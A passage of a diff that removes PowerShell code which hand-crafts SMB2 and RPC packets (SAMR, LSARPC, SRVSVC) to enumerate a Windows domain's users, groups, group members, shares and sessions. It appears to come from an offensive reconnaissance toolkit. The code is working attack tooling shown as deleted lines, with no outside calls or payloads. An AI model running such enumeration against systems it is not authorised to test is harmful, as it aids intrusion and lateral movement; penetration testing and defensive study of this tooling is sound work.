-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0b,0x00,0x00,0x00 0x00,0x00 0x12,0x00
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
-                    }
-
-                    'LSAClose'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_LSARPC_data = New-PacketLSAClose $policy_handle
-                        $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data 
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x00,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        $step++
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
-                    }
-
-                    'LSALookupSids'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_LSARPC_data = New-PacketLSALookupSids $policy_handle $SID_array
-                        $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x10,0x00,0x00,0x00 0x00,0x00 0x0f,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data   
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
-                    }
-
-                    'LSAOpenPolicy'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_LSARPC_data = New-PacketLSAOpenPolicy
-                        $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data 
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x06,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                
-                    }
-
-                    'LSAQueryInfoPolicy'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_LSARPC_data = New-PacketLSAQueryInfoPolicy $policy_handle
-                        $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x07,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data   
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
-                    }
-
-                    'NetSessEnum'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SRVSVC_data = New-PacketSRVSVCNetSessEnum $Target
-                        $SRVSVC_data = ConvertFrom-PacketOrderedDictionary $packet_SRVSVC_data
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SRVSVC_data.Length 1024
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SRVSVC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00                        
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SRVSVC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
-                    }
-                    
-                    'NetShareEnumAll'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SRVSVC_data = New-PacketSRVSVCNetShareEnumAll $Target
-                        $SRVSVC_data = ConvertFrom-PacketOrderedDictionary $packet_SRVSVC_data 
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SRVSVC_data.Length 4280
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SRVSVC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0f,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SRVSVC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
-                    }
-
-                    'OpenAlias'
-                    {  
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SAMR_data = New-PacketSAMROpenAlias $SAMR_domain_handle $SAMR_RID
-                        $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data 
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0c,0x00,0x00,0x00 0x00,0x00 0x1b,0x00
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
-                    }
-
-                    'OpenDomain'
-                    {    
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SAMR_data = New-PacketSAMROpenDomain $SAMR_connect_handle $SID_count $LSA_domain_SID
-                        $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data 
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x07,0x00,0x00,0x00 0x00,0x00 0x07,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
-                    }
-
-                    'OpenGroup'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SAMR_data = New-PacketSAMROpenGroup $SAMR_domain_handle $SAMR_RID
-                        $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data 
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x09,0x00,0x00,0x00 0x00,0x00 0x13,0x00
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
-                    }
-
-                    'ParseLookupRids'
-                    {
-                        [Byte[]]$response_user_count_bytes = $client_receive[140..143]
-                        $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0)
-                        $response_user_start = $response_user_count * 8 + 164
-                        $response_user_end = $response_user_start
-                        $response_user_length_start = 152
-                        $response_user_list = @()
-                        $response_username_list = @()
-                        $response_user_type_list = @()
-                        $i = 0
-
-                        while($i -lt $response_user_count)
-                        {
-                            [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)]
-                            $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0)
-                            $response_user_end = $response_user_start + $response_user_length
-                            [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)]
-                            $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0)
-                            [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)]
-                            
-                            if($response_actual_count % 2)
-                            {
-                                $response_user_start += $response_user_length + 14
-                            }
-                            else
-                            {
-                                $response_user_start += $response_user_length + 12
-                            }
-
-                            $response_user = [System.BitConverter]::ToString($response_user_bytes)
-                            $response_user = $response_user -replace "-00",""
-                            $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                            $response_user = New-Object System.String ($response_user,0,$response_user.Length)
-                            $response_username_list += $response_user
-                            $response_user_length_start = $response_user_length_start + 8
-                            $i++
-                        }
-
-                        $response_user_type_array_bytes = $client_receive[($response_user_end + 14)..($response_user_end + 13 + ($response_user_count * 4))]
-                        $response_user_type_start = 0
-
-                        for($i = 0; $i -lt $response_user_count; $i++)
-                        {  
-                            $response_user_type_bytes = $response_user_type_array_bytes[($response_user_type_start..($response_user_type_start + 3))]
-                            $response_user_type_start += 4
-                            $response_user_type = [System.BitConverter]::ToInt16($response_user_type_bytes,0)
-
-                            if($response_user_type -eq 1)
-                            {
-                                $response_user_type_list += "user"
-                            }
-                            else
-                            {
-                                $response_user_type_list += "group"
-                            }
-                            
-                        }
-
-                        $i = 0
-
-                        ForEach($user in $response_username_list)
-                        {
-                            $response_user_object = New-Object PSObject
-                            Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $user
-                            Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Type $response_user_type_list[$i]
-                            $response_user_list += $response_user_object
-                            $i++
-                        }
-
-                        if($Action -eq 'All')
-                        {
-                            Write-Output "$Group Users:"
-                        }
-                        
-                        Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize
-                        $stage = 'CloseRequest'
-                    }
-
-                    'ParseLookupSids'
-                    {
-                        [Byte[]]$response_domain_count_bytes = $client_receive[144..147]
-                        $response_domain_count = [System.BitConverter]::ToInt16($response_domain_count_bytes,0)
-                        $response_domain_start = $response_domain_count * 12 + 172
-                        $response_domain_end = $response_domain_start
-                        $response_domain_length_start = 160
-                        $response_domain_list = @()
-                        $i = 0
-
-                        while($i -lt $response_domain_count)
-                        {
-                            [Byte[]]$response_domain_length_bytes = $client_receive[$response_domain_length_start..($response_domain_length_start + 1)]
-                            $response_domain_length = [System.BitConverter]::ToInt16($response_domain_length_bytes,0)
-                            $response_domain_end = $response_domain_start + $response_domain_length
-                            [Byte[]]$response_actual_count_bytes = $client_receive[($response_domain_start - 4)..($response_domain_start - 1)]
-                            $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0)
-                            [Byte[]]$response_domain_bytes = $client_receive[$response_domain_start..($response_domain_end - 1)]
-                            
-                            if($response_actual_count % 2)
-                            {
-                                $response_domain_start += $response_domain_length + 42
-                            }
-                            else
-                            {
-                                $response_domain_start += $response_domain_length + 40
-                            }
-
-                            $response_domain = [System.BitConverter]::ToString($response_domain_bytes)
-                            $response_domain = $response_domain -replace "-00",""
-                            $response_domain = $response_domain.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                            $response_domain = New-Object System.String ($response_domain,0,$response_domain.Length)
-                            $response_domain_list += $response_domain
-                            $response_domain_length_start = $response_domain_length_start + 12
-                            $i++
-                        }
-
-                        [Byte[]]$response_user_count_bytes = $client_receive[($response_domain_start - 4)..($response_domain_start - 1)]         
-                        $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0)
-                        $response_user_start = $response_user_count * 16 + $response_domain_start + 12
-                        $response_user_end = $response_user_start
-                        $response_user_length_start = $response_domain_start + 4
-                        $response_user_list = @()
-                        $i = 0
-
-                        while($i -lt $response_user_count)
-                        {
-                            $response_user_object = New-Object PSObject
-                            [Byte[]]$response_user_type_bytes = $client_receive[($response_user_length_start - 4)]
-                            [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)]
-                            $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0)
-                            $response_SID_index_start = $response_user_length_start + 8
-                            [Byte[]]$response_SID_index_bytes = $client_receive[$response_SID_index_start..($response_SID_index_start + 3)]
-                            $response_SID_index = [System.BitConverter]::ToInt16($response_SID_index_bytes,0)
-                            $response_user_end = $response_user_start + $response_user_length
-                            [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)]
-                            $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0)
-                            [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)]
-
-                            if($response_actual_count % 2)
-                            {
-                                $response_user_start += $response_user_length + 14
-                            }
-                            else
-                            {
-                                $response_user_start += $response_user_length + 12
-                            }
-
-                            if($response_user_type_bytes -eq 1)
-                            {
-                                $response_user_type = "user"
-                            }
-                            else
-                            {
-                                $response_user_type = "group"
-                            }
-
-
-                            $response_user = [System.BitConverter]::ToString($response_user_bytes)
-                            $response_user = $response_user -replace "-00",""
-                            $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                            $response_user = New-Object System.String ($response_user,0,$response_user.Length)
-                            Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $response_user
-                            Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Domain $response_domain_list[$response_SID_index]
-                            Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Type $response_user_type
-                            $response_user_length_start = $response_user_length_start + 16
-                            $response_user_list += $response_user_object
-                            $i++
-                        }
-
-                        if($Action -eq 'All')
-                        {
-                            Write-Output "$Group Group Members:"
-                        }
-                        
-                        Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize
-                        $stage = 'CloseRequest'
-                    }
-
-                    'ParseSRVSVC'
-                    {
-                        $response_object_list = @()
-                        $share_list = @()
-                        [Byte[]]$response_count_bytes = $client_receive[152..155]
-                        $response_count = [System.BitConverter]::ToInt32($response_count_bytes,0)
-                        $response_item_index = 164
-                        $i = 0
-
-                        while($i -lt $response_count)
-                        {
-
-                            if($i -gt 0)
-                            {
-
-                                if($response_item_length % 2)
-                                {
-                                    $response_item_index += $response_item_length * 2 + 2
-                                }
-                                else
-                                {
-                                    $response_item_index += $response_item_length * 2
-                                }
-
-                            }
-                            else
-                            {
-                                
-                                if($action_stage -eq 'Share')
-                                {
-                                    $response_item_index += $response_count * 12
-                                }
-                                else
-                                {
-                                    $response_item_index += $response_count * 16
-                                }
-
-                            }
-
-                            $response_item_object = New-Object PSObject
-                            [Byte[]]$response_item_length_bytes = $client_receive[$response_item_index..($response_item_index + 3)]
-                            $response_item_length = [System.BitConverter]::ToInt32($response_item_length_bytes,0)
-                            $response_item_index += 12
-                            [Byte[]]$response_item_bytes = $client_receive[($response_item_index)..($response_item_index + ($response_item_length * 2 - 1))]
-                            $response_item = [System.BitConverter]::ToString($response_item_bytes)
-                            $response_item = $response_item -replace "-00",""
-                            $response_item = $response_item.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                            $response_item = New-Object System.String ($response_item,0,$response_item.Length)
-                            
-                            if($response_item_length % 2)
-                            {
-                                $response_item_index += $response_item_length * 2 + 2
-                            }
-                            else
-                            {
-                                $response_item_index += $response_item_length * 2
-                            }
-                            
-                            [Byte[]]$response_item_length_bytes = $client_receive[$response_item_index..($response_item_index + 3)]
-                            $response_item_length = [System.BitConverter]::ToInt32($response_item_length_bytes,0)
-                            $response_item_index += 12
-                            [Byte[]]$response_item_2_bytes = $client_receive[($response_item_index)..($response_item_index + ($response_item_length * 2 - 1))]
-                            $response_item_2 = [System.BitConverter]::ToString($response_item_2_bytes)
-                            $response_item_2 = $response_item_2 -replace "-00",""
-                            $response_item_2 = $response_item_2.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                            $response_item_2 = New-Object System.String ($response_item_2,0,$response_item_2.Length)
-
-                            if($action_stage -eq 'Share')
-                            {
-                                $share_list += $response_item
-                                Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Share $response_item
-                                Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Description $response_item_2
-                                Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name "Access Mask" ""
-                            }
-                            else
-                            {
-                                Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Username $response_item_2
-                                Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Source $response_item
-                            }
-
-                            $response_object_list += $response_item_object
-                            $i++
-                        }
-
-                        if($Action -eq 'All' -and $action_stage -eq 'Share')
-                        {
-                            Write-Output "Shares:"
-                        }
-                        elseif($Action -eq 'All' -and $action_stage -eq 'NetSession')
-                        {
